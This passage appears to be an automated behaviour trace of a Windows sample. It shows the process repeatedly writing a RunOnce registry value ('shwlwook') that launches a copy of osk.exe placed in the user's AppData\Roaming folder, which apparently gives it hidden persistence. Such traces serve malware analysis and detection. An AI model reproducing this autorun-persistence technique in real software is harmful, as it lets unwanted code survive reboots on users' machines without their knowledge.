puArgErr=0x95edf4*=0x6240b20) returned 0x0 [0256.745] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x34 [0256.745] SysStringLen (param_1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x27 [0256.746] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0256.746] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x95e4b0, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", lpUsedDefaultChar=0x0) returned 64 [0256.746] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0256.746] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0256.746] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0256.746] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0256.746] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0256.746] RegCloseKey (hKey=0x14c) returned 0x0 [0256.746] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0256.747] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0256.761] TranslateMessage (lpMsg=0x95f69c) returned 0 [0256.761] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0256.761] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0256.761] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xdfc968, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="GetFile", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=10012) returned 0x0 [0256.761] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x6240b70 | out: ppvObject=0x6240b70*=0x0) returned 0x80004002 [0256.761] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x36 [0256.762] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95ef7c | out: ppvObject=0x95ef7c*=0x0) returned 0x80004002 [0256.762] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x37 [0256.762] FileSystemObject:IDispatch:Invoke (in: This=0xdfc968, dispIdMember=10012, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30, pExcepInfo=0x95eefc, puArgErr=0x95edd4 | out: pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5499ce4, varVal2=0x0), pExcepInfo=0x95eefc*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edd4*=0x624a570) returned 0x0 [0256.762] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x36 [0256.762] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95ee30 | out: ppvObject=0x95ee30*=0x0) returned 0x80004002 [0256.762] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6b4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x95ee28 | out: ppvObject=0x95ee28*=0x0) returned 0x80004002 [0256.762] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95ee3c | out: ppvObject=0x95ee3c*=0x5499ce4) returned 0x0 [0256.762] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95edc4 | out: ppvObject=0x95edc4*=0x0) returned 0x80004002 [0256.762] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x6240b90 | out: ppvObject=0x6240b90*=0x0) returned 0x80004002 [0256.762] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x37 [0256.763] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x36 [0256.763] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x5499ce4, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="Path", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=0) returned 0x0 [0256.763] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x36 [0256.763] FileSystemObject:IDispatch:Invoke (in: This=0x5499ce4, dispIdMember=0, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8, pExcepInfo=0x95ef08, puArgErr=0x95edf4 | out: pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe"), varVal2=0x0), pExcepInfo=0x95ef08*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edf4*=0x6240ba0) returned 0x0 [0256.764] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x35 [0256.764] SysStringLen (param_1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x27 [0256.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0256.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x95e4b0, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", lpUsedDefaultChar=0x0) returned 64 [0256.764] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0256.764] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0256.765] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0256.765] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0256.765] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0256.765] RegCloseKey (hKey=0x14c) returned 0x0 [0256.765] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0256.765] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0256.789] TranslateMessage (lpMsg=0x95f69c) returned 0 [0256.789] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0256.789] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0256.789] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xdfc968, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="GetFile", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=10012) returned 0x0 [0256.790] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x6240bf0 | out: ppvObject=0x6240bf0*=0x0) returned 0x80004002 [0256.790] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x37 [0256.790] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95ef7c | out: ppvObject=0x95ef7c*=0x0) returned 0x80004002 [0256.790] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x38 [0256.790] FileSystemObject:IDispatch:Invoke (in: This=0xdfc968, dispIdMember=10012, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30, pExcepInfo=0x95eefc, puArgErr=0x95edd4 | out: pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5499ce4, varVal2=0x0), pExcepInfo=0x95eefc*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edd4*=0x624a5d0) returned 0x0 [0256.790] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x37 [0256.790] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95ee30 | out: ppvObject=0x95ee30*=0x0) returned 0x80004002 [0256.790] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6b4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x95ee28 | out: ppvObject=0x95ee28*=0x0) returned 0x80004002 [0256.790] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95ee3c | out: ppvObject=0x95ee3c*=0x5499ce4) returned 0x0 [0256.790] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95edc4 | out: ppvObject=0x95edc4*=0x0) returned 0x80004002 [0256.790] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x6240c10 | out: ppvObject=0x6240c10*=0x0) returned 0x80004002 [0256.791] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x38 [0256.791] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x37 [0256.791] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x37 [0256.792] SysStringLen (param_1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x27 [0256.792] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0256.792] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0256.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0256.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0256.792] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0256.792] RegCloseKey (hKey=0x14c) returned 0x0 [0256.793] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0256.793] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0256.804] TranslateMessage (lpMsg=0x95f69c) returned 0 [0256.804] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0256.805] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0256.805] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0256.806] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0256.806] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0256.806] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0256.806] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0256.806] RegCloseKey (hKey=0x14c) returned 0x0 [0256.806] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0256.807] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0256.820] TranslateMessage (lpMsg=0x95f69c) returned 0 [0256.820] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0256.821] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0256.821] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0256.821] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0256.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0256.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0256.822] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0256.822] RegCloseKey (hKey=0x14c) returned 0x0 [0256.822] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0256.822] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0256.836] TranslateMessage (lpMsg=0x95f69c) returned 0 [0256.836] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0256.836] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0256.837] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0256.837] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0256.837] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0256.837] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0256.837] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0256.837] RegCloseKey (hKey=0x14c) returned 0x0 [0256.837] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0256.838] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0256.856] TranslateMessage (lpMsg=0x95f69c) returned 0 [0256.856] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0256.856] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0256.856] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0256.856] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0256.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0256.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0256.857] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0256.857] RegCloseKey (hKey=0x14c) returned 0x0 [0256.857] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0256.857] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0256.867] TranslateMessage (lpMsg=0x95f69c) returned 0 [0256.867] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0256.867] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0256.868] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0256.868] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0256.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, 